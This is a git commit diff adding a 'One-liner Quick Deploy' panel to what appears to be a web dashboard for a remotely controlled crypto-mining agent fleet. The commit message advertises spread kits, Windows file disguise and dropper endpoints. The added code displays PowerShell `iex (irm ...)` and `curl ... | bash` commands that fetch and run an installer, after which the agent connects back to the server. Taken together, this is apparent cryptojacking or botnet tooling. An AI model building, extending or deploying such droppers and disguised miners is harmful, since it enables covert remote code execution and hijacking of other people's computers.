Add universal forge, fusion disguise, remote deploy, and stability fixes.

Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
This commit is contained in:
drjones
2026-05-29 20:53:13 -07:00
parent c6c2e73359
commit 0f9e04f5f6
108 changed files with 5937 additions and 1233 deletions

View File

@@ -1,7 +1,7 @@
import { useState, useEffect, useMemo, useCallback } from 'react';
import { api } from '../api/client';
import { useWebSocket } from '../hooks/useWebSocket';
import type { Agent, HashrateSample } from '../types';
import type { Agent, HashrateSample, ServerInfo } from '../types';
import HashrateChart from '../components/Charts/HashrateChart';
import NeonCard from '../components/NeonCard/NeonCard';
import AgentRemoteActions from '../components/Fleet/AgentRemoteActions';
@@ -15,13 +15,68 @@ import {
formatUptime,
} from '../help/fleetFilters';
import type { FleetFilterState } from '../help/fleetFilters';
import '../components/Fleet/FleetPanels.css';
import '../components/Fleet/FleetToolbar.css';
import '../components/Fleet/AgentRemoteActions.css';
import './Pages.css';
function QuickDeployPanel({ serverInfo }: { serverInfo: ServerInfo | null }) {
const [copied, setCopied] = useState<string | null>(null);
const base = serverInfo?.suggested_url?.replace(/\/$/, '') ?? window.location.origin;
const copy = (text: string, key: string) => {
navigator.clipboard.writeText(text).then(() => {
setCopied(key);
setTimeout(() => setCopied(null), 2000);
});
};
const ps1 = `iex (irm '${base}/install.ps1')`;
const sh = `curl -sL ${base}/install.sh | bash`;
const dlWin = `${base}/get?os=windows`;
const dlLin = `${base}/get?os=linux`;
const dlMac = `${base}/get?os=darwin`;
const Row = ({ label, cmd, id }: { label: string; cmd: string; id: string }) => (
<div style={{ display: 'flex', alignItems: 'center', gap: '0.5rem', marginBottom: '0.4rem' }}>
<span className="font-tech" style={{ minWidth: '5rem', color: 'var(--clr-amber)', fontSize: '0.75rem' }}>{label}</span>
<code style={{ flex: 1, background: 'rgba(0,0,0,0.4)', padding: '0.3rem 0.6rem', borderRadius: '4px', fontSize: '0.8rem', color: '#eee', overflowX: 'auto', whiteSpace: 'nowrap' }}>{cmd}</code>
<button className="btn btn-sm" onClick={() => copy(cmd, id)} style={{ whiteSpace: 'nowrap', minWidth: '4.5rem' }}>
{copied === id ? '✓ Copied' : 'Copy'}
</button>
</div>
);
return (
<NeonCard accent="cyan" style={{ marginBottom: '1.25rem' }}>
<div style={{ display: 'flex', alignItems: 'center', gap: '0.75rem', marginBottom: '0.75rem' }}>
<span style={{ fontSize: '1.2rem' }}></span>
<div>
<strong className="font-display" style={{ fontSize: '1rem' }}>One-liner Quick Deploy</strong>
<p className="form-hint" style={{ margin: 0 }}>
Run any of these commands on a remote machine the agent downloads itself and connects back automatically.
No files to transfer manually.
</p>
</div>
</div>
<div style={{ marginBottom: '0.75rem' }}>
<div className="font-tech" style={{ fontSize: '0.7rem', color: 'var(--clr-dim)', marginBottom: '0.4rem', textTransform: 'uppercase', letterSpacing: '0.08em' }}>Install &amp; run (auto-launches)</div>
<Row label="Windows" cmd={ps1} id="ps1" />
<Row label="Linux/Mac" cmd={sh} id="sh" />
</div>
<div>
<div className="font-tech" style={{ fontSize: '0.7rem', color: 'var(--clr-dim)', marginBottom: '0.4rem', textTransform: 'uppercase', letterSpacing: '0.08em' }}>Direct download only (saves file)</div>
<Row label="Windows" cmd={dlWin} id="dlw" />
<Row label="Linux" cmd={dlLin} id="dll" />
<Row label="macOS" cmd={dlMac} id="dlm" />
</div>
</NeonCard>
);
}
export default function AgentsPage() {
const { agents: liveAgents, isConnected, agentLogs, latestMessage } = useWebSocket();
const { agents: liveAgents, isConnected, agentLogs, commandResults } = useWebSocket();
const [agents, setAgents] = useState<Agent[]>([]);
const [selectedAgent, setSelectedAgent] = useState<Agent | null>(null);
const [expandedId, setExpandedId] = useState<string | null>(null);
@@ -30,6 +85,7 @@ export default function AgentsPage() {
const [bulkBusy, setBulkBusy] = useState(false);
const [hashrateHistory, setHashrateHistory] = useState<HashrateSample[]>([]);
const [loading, setLoading] = useState(true);
const [serverInfo, setServerInfo] = useState<ServerInfo | null>(null);
const [loadError, setLoadError] = useState('');
const [logContent, setLogContent] = useState('');
const [logLoading, setLogLoading] = useState(false);
@@ -43,6 +99,7 @@ export default function AgentsPage() {
.then(setAgents)
.catch((err) => setLoadError(err instanceof Error ? err.message : 'Failed to load agents'))
.finally(() => setLoading(false));
api.getServerInfo().then(setServerInfo).catch(() => {});
}, []);
useEffect(() => {
@@ -173,6 +230,8 @@ export default function AgentsPage() {
<span className="header-count font-tech">{filteredAgents.length}/{agents.length} NODES</span>
</header>
<QuickDeployPanel serverInfo={serverInfo} />
{loadError && (
<NeonCard accent="amber" className="empty-state">
<p>{loadError}</p>
@@ -187,7 +246,7 @@ export default function AgentsPage() {
<NeonCard accent="brass" className="empty-state">
<div className="empty-icon"></div>
<h3>No agents registered</h3>
<p>Deploy a miner to a Windows machine and it will appear here automatically.</p>
<p>Deploy a worker to any machine (Windows, Linux, or macOS) using the Forge and it will appear here automatically.</p>
</NeonCard>
) : (
<div className="agents-layout">
@@ -212,7 +271,7 @@ export default function AgentsPage() {
onCheck={(on) => toggleSelect(agent.id, on)}
onSelect={() => void selectAgent(agent)}
onToggleExpand={() => setExpandedId((prev) => (prev === agent.id ? null : agent.id))}
latestWsMessage={latestMessage}
commandResults={commandResults}
/>
))}
{filteredAgents.length === 0 && (
@@ -272,6 +331,15 @@ export default function AgentsPage() {
<span className="detail-label">Version</span>
<span className="detail-value">{selectedAgent.version || 'Unknown'}</span>
</div>
{(selectedAgent.platform || selectedAgent.os_version) && (
<div className="detail-item">
<span className="detail-label">Platform</span>
<span className="detail-value">
{[selectedAgent.platform, selectedAgent.arch].filter(Boolean).join(' / ')}
{selectedAgent.os_version ? `${selectedAgent.os_version}` : ''}
</span>
</div>
)}
<div className="detail-item">
<span className="detail-label">CPU Cores</span>
<span className="detail-value">{selectedAgent.cpu_cores}</span>
@@ -350,7 +418,7 @@ export default function AgentsPage() {
<AgentRemoteActions
agent={selectedAgent}
online={selectedAgent.status === 'online'}
latestWsMessage={latestMessage}
commandResults={commandResults}
onCommandSent={(action: string) => {
if (action === 'get_log') refreshLog(true);
}}